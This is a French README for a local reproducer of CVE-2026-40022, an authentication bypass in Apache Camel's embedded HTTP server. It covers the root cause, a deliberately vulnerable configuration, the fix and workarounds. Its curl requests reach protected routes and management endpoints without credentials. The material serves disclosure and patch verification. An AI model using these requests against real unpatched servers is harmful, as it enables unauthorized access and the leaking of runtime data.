
Reproducteur pour CVE-2026-40022 : contournement de l'authentification de camel-platform-http-main d'Apache Camel sur les chemins de contexte non racine
Ce projet démontre un contournement de l'authentification dans le composant camel-platform-http-main d'Apache Camel (le serveur HTTP/de gestion embarqué du runtime main de Camel), référencé sous le nom CVE-2026-40022. Lorsque l'authentification est activée et qu'un chemin de contexte non racine (par exemple /api ou /admin) est configuré, le gestionnaire d'authentification ne couvre que le chemin de contexte exact, de sorte que les requêtes non authentifiées vers les sous-chemins atteignent les routes protégées et les points de terminaison de gestion.
Avis de sécurité : https://camel.apache.org/security/CVE-2026-40022.html
| Propriété | Valeur |
|---|---|
| Composant | camel-platform-http-main (serveur HTTP/de gestion embarqué du runtime main de Camel) |
| Classes concernées | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Cause racine | Lorsque authenticationPath n'est pas défini, il est dérivé de camel.server.path ; avec le modèle de montage de sous-routeur Vert.x, le gestionnaire d'authentification ne correspond qu'au chemin de contexte exact, et non à ses sous-chemins |
| CWE | CWE-287 : Authentification incorrecte (contournement de l'authentification) |
| Impact | Accès non authentifié aux routes métier protégées et aux points de terminaison de gestion (par exemple divulgation des métadonnées d'exécution via /observe/info) |
| Versions affectées | De 4.14.1 avant 4.14.6, et de 4.15.0 avant 4.18.2 |
| Versions corrigées | 4.14.6, 4.18.2, 4.20.0 |
| Signaleur | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (et JWTAuthenticationConfigurer) résolvent le chemin que le gestionnaire d'authentification protège à partir de properties.getAuthenticationPath(), en se repliant sur properties.getPath() (le chemin de contexte camel.server.path) lorsqu'il n'est pas défini explicitement :
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Le serveur Vert.x monte un sous-routeur sur <contextPath>* et enregistre le gestionnaire d'authentification à l'intérieur de ce sous-routeur, au chemin résolu. Dans les versions affectées, le chemin résolu est le chemin de contexte lui-même, donc — par rapport au sous-routeur déjà monté sur /api — le gestionnaire d'authentification finit par correspondre à /api/api plutôt qu'à chaque sous-chemin. Par conséquent :
/api/api est bien soumis au défi d'authentification (401) — le gestionnaire est présent, simplement mal ciblé/api/hello (la véritable route métier) n'est pas soumis au défi → servi sans informations d'identificationLe correctif fait en sorte que resolveAuthenticationPath renvoie /*, afin que le gestionnaire couvre tous les sous-chemins du sous-routeur.
application.properties — un chemin de contexte non racine avec l'authentification activée et authenticationPath non défini :
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
La route est servie sur /api/hello.
Aucun service externe ni conteneur Docker n'est requis — le serveur HTTP vulnérable est l'application elle-même.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
Le BasicAuthHandler est actif — mais mal ciblé sur le chemin de contexte exact.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
Sur une version corrigée (4.14.6 / 4.18.2 / 4.20.0), cette requête renvoie 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
La même faille s'applique au serveur de gestion (camel.management.path, par exemple /admin). Une requête non authentifiée vers un sous-chemin tel que /admin/observe/info atteint le point de terminaison de gestion, ce qui peut divulguer des métadonnées d'exécution : l'utilisateur du système d'exploitation, le répertoire de travail/personnel, l'identifiant du processus, les informations relatives à la JVM et au système d'exploitation.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath non définis explicitement.Mettez à niveau vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif (resolveAuthenticationPath) fait en sorte que le gestionnaire d'authentification couvre chaque sous-chemin :
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
En attendant la mise à niveau :
camel.server.authenticationPath = /* (et camel.management.authenticationPath = /*) afin que le gestionnaire couvre tous les sous-chemins.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.